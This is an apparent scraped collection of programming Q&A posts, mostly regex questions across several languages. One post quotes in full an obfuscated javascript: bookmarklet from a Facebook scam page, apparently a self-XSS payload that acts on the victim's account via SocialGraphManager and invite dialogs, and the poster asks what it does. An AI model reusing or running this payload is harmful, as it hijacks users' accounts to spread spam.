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• Saving substrings using Regular Expressions

  - by user362971

  I'm new to regular expressions in Java (or any language, for that matter) and I'm wanting to do a find using them. The tricky part that I don't understand how to do is replace something inside the string that matches. For example, if the line I'm looking for is Person item6 [can {item thing [wrap]}] I'm able to write a regex that finds that line, but finding what the word "thing" is (as it may differ among different lines) is my problem. I may want to either replace that word with something else or save it in a variable for later. Is there any easy way to do this using Java's regex engine?

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• Splitting up input using regular expressions in Java

  - by Joe24

  I am making a program that lets a user input a chemical for example C9H11N02. When they enter that I want to split it up into pieces so I can have it like C9, H11, N, 02. When I have it like this I want to make changes to it so I can make it C10H12N203 and then put it back together. This is what I have done so far. using the regular expression I have used I can extract the integer value, but how would I go about get C10, H11 etc..? System.out.println("Enter Data"); Scanner k = new Scanner( System.in ); String input = k.nextLine(); String reg = "\\s\\s\\s"; String [] data; data = input.split( reg ); int m = Integer.parseInt( data[0] ); int n = Integer.parseInt( data[1] );

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• Using regular expressions with Dojo data.fetch?

  - by Dfowj

  I'm trying to use the below code to fetch a regular expression like this /[computer]{3,8}/(what i think is any words containing the letters in computer ranging from 3 to 8 letters long) from a database (which i know is being loaded correctly). When i fetch, i get 10 results, all the same word... "Adenauer" var base = "computer"; var baseRE = '/[' + base + ']{' + this.minLength + ',' + base.length + '}/'; this.dict.fetch({query: {word:baseRE}, onComplete: onLoadWords, onError: function(err) { console.log(err); }}); Any ideas what im doing wrong?

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• How can I improve this regular expression?

  - by Michael Haren

  I want a regular expression to match valid input into a Tags input field with the following properties: 1-5 tags Each tag is 1-30 characters long Valid tag characters are [a-zA-Z0-9-] input and tags can be separated by any amount of whitespace Here's what I have so far--it seems to work but I'm interested how it could be simplified or if it has any major flaws: \s*[a-zA-Z0-9-]{1,30}(\s+[a-zA-Z0-9-]{1,30}){0,4}\s* // that is: \s* // match all beginning whitespace [a-zA-Z0-9-]{1,30} // match the first tag (\s+[a-zA-Z0-9-]{1,30}){0,4} // match all subsequent tags \s* // match all ending whitespace Preprocessing the input to make the whitespace issue easier isn't an option (e.g. trimming or adding a space). If it matters, this will be used in javascript. Any suggestions would be appreciated, thanks!

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• Regular Expression repetition of class

  - by codersarepeople

  I am trying to figure out a regular expression for the following: <tr class="A">.*</tr><tr class="(B|C)">.*</tr> Now The second tr class will repeat an unknown number of times, with something unknown in between repetitions, but simply putting it in parentheses and added a plus doesn't work. Here's the PHP code that didn't work: $pattern = '/<tr\ class=\"A\">.*(<tr\ class=\"(B|C)\">.*<\/tr>.*)+/'; preg_match_all($pattern,$playerHtml,$scores); But it only returns the first Here's an example of something that should match: <tr class="A">blah</tr>blah <tr class="B">blah</tr>blah <tr class="B">blah</tr>blah <tr class="C">blah</tr> This only matches blahblahblah

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• Regular expression one or more times JAVA

  - by user1381564

  Hi i am trying to match a string against a pattern this is the possible string signal CS, NS, dl: stateType := writeOrRead0; signal CS, pS : stateType := writeOrRead0; signal dS : stateType := writeOrRead0; i am only concerned with the pattern as far as the first colon. but the number of signals define can be more than one it could be three or four even this is the regular expression i have ^signal\\s*(\\w+),*\\s*(\\w+)\\s*: it will pick up the second two signal but and for the second one it picks up CS and pS and but the d and S in the next signal when i use matcher.group() come up seperately Can anyone give me an expression that will pick up all signal names whether there is one two three or more?

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• Need to add specific characters to regular expression

  - by lordryan

  i'm using the following regular expression to form a basic email validation. var emailRegEx = /^([a-zA-Z0-9])(([a-zA-Z0-9])*([\._\+-])*([a-zA-Z0-9]))*@(([a-zA-Z0-9\-])+(\.))+([a-zA-Z]{2,4})+$/; this works pretty well for what i need but i also need to exclude these specific characters for reasons i won't go into. !,#,$,%,^,&,*,(,),-,+,|,{,},[,],:,>,<,?,/,\,= - (the characters between the "," if that isn't clear) could someone help me with adding the second group to the first? I know the pro's and cons of using javascript to validate email addresses - i have to do it this way. thanks.

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• @Path and regular expression (Jersey/REST)

  - by Castanho

  Hi there! I'm using Jersey in a REST project and I'm needing to use regular expression. Digging about it is simple like: @Path("/resources) public class MyResource { @GET @Path("{subResources:.*}/bar") public String get() {...} } But, I'm only capable of using regex if in my @Path contains a variable or text value, example: @Path("{SubResource1}/{subResources:.*}/bar") Or @Path("hardCodeString/{subResources:.*}/bar") Today I could run with this solution of a variable, but is not oK for my perspective. Question Does anyone have worked with something related? I'm doing something wrong? I think that this could be a bug, when working with more then one @Path, one in the Class and other in the Method. Any tips is appreciated! Regards

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• Some pro regular expressions help needed here

  - by Camran

  I need a special regular expression, have no experience in them whatsoever so I am turning to you guys on this one: I need to validate a classifieds title field so it doesn't have any special characters in it, almost. Only letters and numbers should be allowed, and also the swedish three letters å, ä, ö, and also not case sensitive. Besides the above, these should also be allowed: The "&" sign. Parenthesis sign "()" Mathematical signs "-", "+", "%", "/", "*" Dollar and Euro signs Accent sign or whatever it's called, for example in "coupé" the apostrophe above the "e". Double quote and singel quote signs. The comma "," and point "." signs Thanks

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• Perl regular expression question

  - by user368311

  Suppose I have variables $x1 = 'XX a b XX c d XX'; $x2 = 'XX a b XX c d XX e f XX'; I want a regular expression that will find each instance of letters between XX. I'm looking for a general solution, because I don't know how many XX's there are. I tried using /XX(.*?)XX/g but this only matches "a b" for x1 and "a b", "e f" for x2 because once the first match is found, the engine has already read the second "XX". Thanks for any help.

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• regular expression match does not work

  - by Carlos_Liu

  I have a string ABCD:10,20,,40;1/1;1/2,1/3,1/4 I want to split the string into the following parts: ABCD -- splited by : 10,20,,40 -- splited by ; 1/1 1/2,1/3,1/4 Why the following regular expression does not work for me ? string txt = @"ABCD:10,20,,40;1/1;1/2,1/3,1/4"; Regex reg = new Regex(@"\b(?<test>\w+):(?<com>\w+);(?<p1>\w+);(?<p2>\w+)"); Match match = reg.Match(txt);

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• javascript regular expressions

  - by Zhasulan Berdybekov

  Help me with regular expressions. I need to check the text on the hour and minute. That is the first case, the text can be from 0 to 12. In the second case, the text can be from 1 to 60. this is my code: var hourRegEx = /^([0-9]{2})$/; //You can fix this line of code? $(document).ready( function(){ $('form.form').submit(function(){ if( $('input.hour').val().match(hourRegEx) ){ return true; } return false; }); }); In my case, the code says that, for example 52, too, the correct answer

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• Perform regular expression on a PERL PDL variable

  - by Ahdee

  is it possible to perform a regular expression on a n-dimension PDL variable? For example I can add 100 to all the element by doing $a1 = pdl [1,2]; print $a1+100; However what if my array was a bunch of string that I would like to perform some task on, for example this fails. $a = pdl ['suze','david']; $a =~ s/suze/female/; print $a; not sure if this is even possible but thanks in advance. Ahdee

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• In linux, is it possible to do partial reads on a regular file

  - by Jimm

  I need to write an application that spits out log entries to a regular file at a very fast rate. Also, there will be another process, that can read the same file concurrently at the time, other process would be writing to it. I have following questions How does read() determine EOF, specially in the case, where the underlying file could be concurrently being modified? Is it possible for read() to return partially written data from the other process write? For example, the write process wrote half a line and read would pick that half line and return? The application would be written in C on linux 2.6.x using Ex4 filesystem UPDATE: Below link points to the patch, that locks inode in EXT4, before reading and writing. http://patchwork.ozlabs.org/patch/91834/

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• match word '90%' using regular expression

  - by amadhu

  Hi All, I want word '90%' to be matched with my String "I have 90% shares of this company". how can I write regular expression for same? I tried something like this: Pattern p = Pattern.compile("\\b90\\%\\b", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE); Matcher m = p.matcher("I have 90% shares of this company"); while (m.find()){ System.out.println(m.group()); } but no luck. Can any one thow some lights on this? Many thanks, Archi

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• Regex to extract this semi formatted data

  - by Codygman

  Alright, I can't quite figure out how to do this. Given the following text: Roland AX-1: /start Roland's AX-1 strap-on remote MIDI controller has a very impressive 45-note velocity sensitive keyboard, and has switchable velocity curves, goes octave up/down, transpose, split/layering zones, and has fun tempo control for sequencers and more. Roland's AX-1 comes with a built-in GS control for total MIDI control of GM/GS synths. Its "Expression Bar" can control pitch and mod via an almost ribbon-like controller. It's also the newest and most advanced remote controller for your synths or midi modules. /end Roland AX-7: /start Roland's AX-7 builds on the infamous Roland AX-1 design. You just strap it on and put it to the front of the stage. Offering several controllers, such as: a D-Beam, then you can open the door to amazing live performance. 7-segment LED display, larger patch memory (Around 128 patches with MIDI data backup), and comes with GM2/GS compatibility make it extra easy to use. The 45-note, velocity-sensitive keyboard. 5 realtime controllers including a data entry knob, touch controller knob, opression bar, a hold button, and D-Beam. 128 patches with MIDI data backup. 2 MIDI zones. /end I'm trying to use the following: /^([\w\d \-]*):\s\s\s\s^\/start([^\:]*)\/end$/im You can see on rubular here: http://rubular.com/r/BVRRHsnWdp Thanks for any help. I guess i'm trying to match blocks of text until I hit the next title which always ends with a :$

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• finding a string of random characters (with possible errors) within a large string of random charact

  - by mike

  I am trying to search a large string w/o spaces for a smaller string of characters. using regex I can easily find perfect matches but I can't figure out how to find partial matches. by partial matches i mean one or two extra characters in the string or one or two characters that have been changed, or one of each. the first and last characters will always match though. this would be similar to a spell checker but there are no spaces and the strings dont contain actual words, just random hex digits. i figured a way to find the string if there are no extra characters using indexOf(string.charAt(0)) and indexOf(charAt(string.length()-1) and looping through the characters between the two indexes. but this can be problematic when dealing with randomized characters because of the possibility of finding the first and last characters at the correct spacing but none of the middle characters matching. i've been scratching my head for hours on this issue. any ideas?

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• Regex to represent "NOT" in a group

  - by Joe Ijam

  I have this Regex; <(\d+)(\w+\s\d+\s\d+(?::\d+){2})\s([\w\/.-])(.) What I want to do is to return FALSE(Not matched) if the third group is "MSWinEventLog" and returning "matched" for the rest. <166Apr 28 10:46:34 AMC the remaining phrase <11Apr 28 10:46:34 MSWinEventLog the remaining phrase <170Apr 28 10:46:34 Avantail the remaining phrase <171Apr 28 10:46:34 Avantail the remaining phrase <172Apr 28 10:46:34 AMC the remaining phrase <173Apr 28 10:46:34 AMC the remaining phrase <174Apr 28 10:46:34 Avantail the remaining phrase <175Apr 28 10:46:34 AMC the remaining phrase <176Apr 28 10:46:34 AMC the remaining phrase <177Apr 28 10:46:34 Avantail the remaining phrase <178Apr 28 10:46:34 AMC the remaining phrase <179Apr 28 10:46:34 Avantail the remaining phrase <180Apr 28 10:46:34 Avantail the remaining phrase How to put " NOT 'MSWinEventLog' " in the regex group ([\w\/.-]*) ? Note : The second phrase above should return "not matched"

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• Using regex to fix phone numbers in a CSV with PHP

  - by Hurpe

  My new phone does not recognize a phone number unless it's area code matches the incoming call. Since I live in Idaho where an area code is not needed for in-state calls, many of my contacts were saved without an area code. Since I have thousands of contacts stored in my phone, it would not be practical to manually update them. I decided to write the following PHP script to handle the problem. It seems to work well, except that I'm finding duplicate area codes at the beginning of random contacts. <?php //the script can take a while to complete set_time_limit(200); function validate_area_code($number) { //digits are taken one by one out of $number, and insert in to $numString $numString = ""; for ($i = 0; $i < strlen($number); $i++) { $curr = substr($number,$i,1); //only copy from $number to $numString when the character is numeric if (is_numeric($curr)) { $numString = $numString . $curr; } } //add area code "208" to the beginning of any phone number of length 7 if (strlen($numString) == 7) { return "208" . $numString; //remove country code (none of the contacts are outside the U.S.) } else if (strlen($numString) == 11) { return preg_replace("/^1/","",$numString); } else { return $numString; } } //matches any phone number in the csv $pattern = "/((1? ?\(?[2-9]\d\d\)? *)? ?\d\d\d-?\d\d\d\d)/"; $csv = file_get_contents("contacts2.CSV"); preg_match_all($pattern,$csv,$matches); foreach ($matches[0] as $key1 => $value) { /*create a pattern that matches the specific phone number by adding slashes before possible special characters*/ $pattern = preg_replace("/\(|\)|\-/","\\\\$0",$value); //create the replacement phone number $replacement = validate_area_code($value); //add delimeters $pattern = "/" . $pattern . "/"; $csv = preg_replace($pattern,$replacement,$csv); } echo $csv; ?> Is there a better approach to modifying the csv? Also, is there a way to minimize the number of passes over the csv? In the script above, preg_replace is called thousands of times on a very large String.

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• Regex & BBCode - Perfecting Nested Quote

  - by Moe

  Hey there, I'm working on some BBcode for my website. I've managed to get most of the codes working perfectly, however the [QUOTE] tag is giving me some grief. When I get something like this: [QUOTE=1] [QUOTE=2] This is a quote from someone else [/QUOTE] This is someone else quoting someone else [/QUOTE] It will return: > 1 said: [QUOTE=2]This is a quote from > someone else This is someone else quoting someone else[/QUOTE] So what is happening is the [/quote] from the nested quote is closing the quote block. The Regex I am using is: "[quote=(.*?)\](.*?)\[/quote\]'is" How can I make it so nested Quotes will appear properly? Thank you.

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• Regex to check that a character in range doesn't repeat

  - by Aly

  Hi, I want to match against Strings such as AhKs & AdKs (i.e. two cards Ah = Ace of Hearts). I want to match two off-suit cards with a regex, what I currently have is "^[AKQJT2-9][hscd]{2}$", but this could match hands such as AhKh (suited) and AhAh. Is there a way to possibly use backreferences to say the second [hscd] cannot be the same as the firs (similarly for [AKQJT2-9])

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• Extracting Text from between parentheses in PHP using preg_replace

  - by Christopher

  I am trying to take a string of text like so: $string = "This (1) is (2) my (3) example (4) text"; In every instance where there is a positive integer inside of parentheses, I'd like to replace that with simply the integer itself. The code I'm using now is: $result = preg_replace("((\d+))", "$0", $string); But I keep getting a "Delimiter must not be alphanumeric or backslash" error. Any thoughts? I know there are other questions on here that sort of answer the question, but my knowledge of regex is not enough to switch it over to this example.

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• PHP: using REGEX to get the tablename from a mysql query

  - by Matt

  Hi Guys, Consider these three mysql statements: select * from Users; select id, title, value from Blogs; select id, feelURL, feelTitle from Feeds where id = 1; Now im not very good at REGEX, but i want to get the table name from the mysql query. Could someone possibly create one for me with a little explanation. Thanks,

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• What exactly dose this piece of JavaScript do ?

  - by helpmarnie

  ok, so I saw this page growing in popularity amoung my social circles on facebook, what 98 percent bla bla... and it walks users through copying the bellow JavaScript (i added some indentation to make it more readable) into their address bar. Looks dodgy to me, but I only have a very basic knowledge of JavaScript. simply put, What dose this do? javascript:(function(){ a='app120668947950042_jop'; b='app120668947950042_jode'; ifc='app120668947950042_ifc'; ifo='app120668947950042_ifo'; mw='app120668947950042_mwrapper'; eval(function(p,a,c,k,e,r){ e=function(c){ return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))} ; if(!''.replace(/^/,String)){ while(c--)r[e(c)]=k[c]||e(c); k=[function(e){ return r[e]} ]; e=function(){ return'\\w+'} ; c=1} ; while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); return p} ('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"]; d=U; d[e[2]](V)[e[1]][e[0]]=e[3]; d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]]; s=d[e[2]](e[6]); m=d[e[2]](e[7]); c=d[e[9]](e[8]); c[e[11]](e[10],I,I); s[e[12]](c); C(D(){ W[e[13]]()} ,E); C(D(){ X[e[16]](e[14],e[15])} ,E); C(D(){ m[e[12]](c); d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]} ,E); ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{ } ))} )();

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• auto indent in vim string replacement new line?

  - by rxin

  I'm using the following command to auto replace some code (adding a new code segment after an existing segment) %s/my_pattern/\0, \r some_other_text_i_want_to_insert/ The problem is that with the \r, some_other_text_i_want_to_insert gets inserted right after the new line: mycode( some_random_text my_pattern ) would become mycode( some_random_text my_pattern some_other_text_i_want_to_insert <--- this line is NOT indented ) instead of mycode( some_random_text my_pattern some_other_text_i_want_to_insert <--- this line is now indented ) i.e. the new inserted line is not indented. Is there any option in vim or trick that I can make the newly inserted line indented? Thanks.

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